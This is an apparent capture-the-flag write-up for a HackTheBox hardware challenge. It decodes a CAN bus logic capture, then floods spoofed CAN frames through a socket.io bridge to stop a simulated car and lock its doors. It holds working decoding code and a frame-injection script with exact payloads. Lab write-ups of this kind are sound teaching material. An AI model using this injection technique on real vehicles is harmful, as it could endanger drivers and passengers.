$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: HackTheBox hardware challenge with a Saleae .logicdata CAN capture and a socket.io bridge to a live car. Solution: reverse the .logicdata as uint16 analog samples, decode single-wire CAN at 1.25 Mbps (invert + destuff + CRC-15) to learn the frame format, then connect via an Engine.IO v3 client and flood spoofed 0x122 (lock:1) and 0x402 (speed=0) frames to stop the car and lock the doors.
A corporate spy is escaping in a prototype vehicle. A drone is in range to exploit the TCU (Telematics Control Unit) and grant access to the car's inner CAN network. Stop the car and lock the doors to trap the spy and safeguard the IP.
Two files are given: PCS_checklog.logicdata — a 787 MB Saleae logic-analyzer capture (a "system check log" of the car), and bridge.py — a Python socket.io client wrapper from internal documentation that connects to a live instance on port 5000. Goal: drive the on-board CAN bus to speed 0 and lock the doors over a single socket connection to receive the flag.
The challenge has two independent halves: an offline capture that teaches the CAN frame format, and a live socket.io instance where the actual exploit happens.
PCS_checklog.logicdata — Saleae Logic 1.x capture7f 01 0a 01 0a "Data save2" and lists two channels (Channel 0 / Channel 1). This is the legacy .logicdata format, NOT the newer .sal. sigrok-cli has no input module for .logicdata, so the file must be parsed by hand (sigrok does, however, ship a usable can protocol decoder).0x194) is a flat array of uint16 little-endian analog ADC samples, not an RLE/transition list. The recurring "value, 0x08" byte pattern people mistake for run-length data is simply the low/high bytes of 16-bit values clustered around ~2057.u32 in the header at offset 0x19 = 25000000 → 25 MHz, ~393.7M samples (~15.7 s).BIT=20 + inversion, 102/102 candidate frames pass CRC-15, versus 0 at 500 kbps.0x023 0x063 0x153 0x213 0x21E 0x232 0x234 0x343 0x356 0x402 0x403 0x443 0x523 0x541 0x612 0x663 0x665.0x612 [10 00 80 00 22 00 00 00] (byte0 = heartbeat counter), 0x402 [00 00 00 00 00 F1 00 00] (byte5 = counter), 0x343 DLC=4 [00 60 00 4B]. The log's real purpose is to teach the CAN ID + payload format, not to hand over the commands.bridge.py and the live serverbridge.py uses socketio.Client() and emits/receives an endpoint event carrying packet strings in a loop with time.sleep(0.1).00 09 08 ff 30 ... even when queried with EIO=4). A modern python-socketio 5.x (EIO4) client FAILS with "Unexpected response from server"./data returning JSON {door_status, rpm, speedometer} and states: "Use of one socket connection is mandatory in order to obtain the flag from the endpoint." door_status 1 = unlocked, 0 = LOCKED..logicdata and decode CANparse_logicdata.py reads the uint16 LE samples from offset 0x194; decode_can2.py thresholds + inverts the first segment, samples at 20 samples/bit with edge resync, undoes bit stuffing, and validates CRC-15. Output (can_frames.txt) confirms 1.25 Mbps and the ID#payload structure.
#!/usr/bin/env python3 # decode_can2.py (core) — single-wire CAN from Saleae .logicdata analog samples import numpy as np SAMPLE_RATE = 25_000_000 BIT = 20 # 25 MHz / 20 = 1.25 Mbps raw = np.fromfile("PCS_checklog.logicdata", dtype="<u2", offset=0x194) seg = raw[4_210_000:24_000_000] # first segment = CAN thr = (seg.max() + seg.min()) / 2 bits_phys = (seg > thr).astype(np.uint8) logical = 1 - bits_phys # recessive = 1 (invert) def crc15(bits): crc = 0 for b in bits: x = ((crc >> 14) & 1) ^ b crc = (crc << 1) & 0x7FFF if x: crc ^= 0x4599 return crc # edge-resync sampler -> bitstream, then per-frame: # - SOF(0), 11-bit ID, RTR/IDE/r0, 4-bit DLC, data, 15-bit CRC # - destuff: after 5 identical bits drop the next (complementary) bit # - accept frame iff crc15(SOF..data) == transmitted CRC # Result: 662 CRC-valid frames, 17 unique IDs (incl. 0x122-family, 0x402, 0x343...)
python3 -m venv venv && . venv/bin/activate pip install "python-socketio==4.6.1" "python-engineio==3.14.2"
import socketio sio = socketio.Client() sio.connect('http://IP:PORT') # NO trailing slash — critical for EIO3
Listening to live endpoint events:
0x122 carries ASCII: 122#6c6f636b3a300000 → lock:0 (unlocked). This is the door-lock frame.122# + hex("lock:1") = 122#6c6f636b3a310000 → /data door_status flips to 0 (locked). Confirmed.0x402 carries the speedometer. Flooding 0x402 byte-by-byte shows bytes[4:6] form a 16-bit big-endian value with speedometer = (b4<<8 | b5) - 52. So b4=0, b5=0x34 → speed 0: 402#0000000000340000. Confirmed.0x00/0xFF). Cosmetic decoy — ignore.0x402 and lock:0 on 0x122. You must flood to win the race.#!/usr/bin/env python3 import socketio, time sio = socketio.Client() SPEED0 = "402#0000000000340000" # speedometer -> 0 LOCK = "122#6c6f636b3a310000" # ASCII "lock:1" -> doors locked @sio.on('endpoint') def on_endpoint(data): print("recv:", data) # flag arrives here when car stopped + locked sio.connect('http://IP:PORT') # no trailing slash, EIO3 client while True: sio.emit('endpoint', SPEED0) sio.emit('endpoint', LOCK) time.sleep(0.001) # tight loop to beat server's random telemetry
Continuously emitting both frames over the single connection holds speedometer=0 AND door_status=0 simultaneously, beating the server's re-emitted telemetry → the car is stopped and the doors are locked → the flag is delivered on the endpoint event.
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar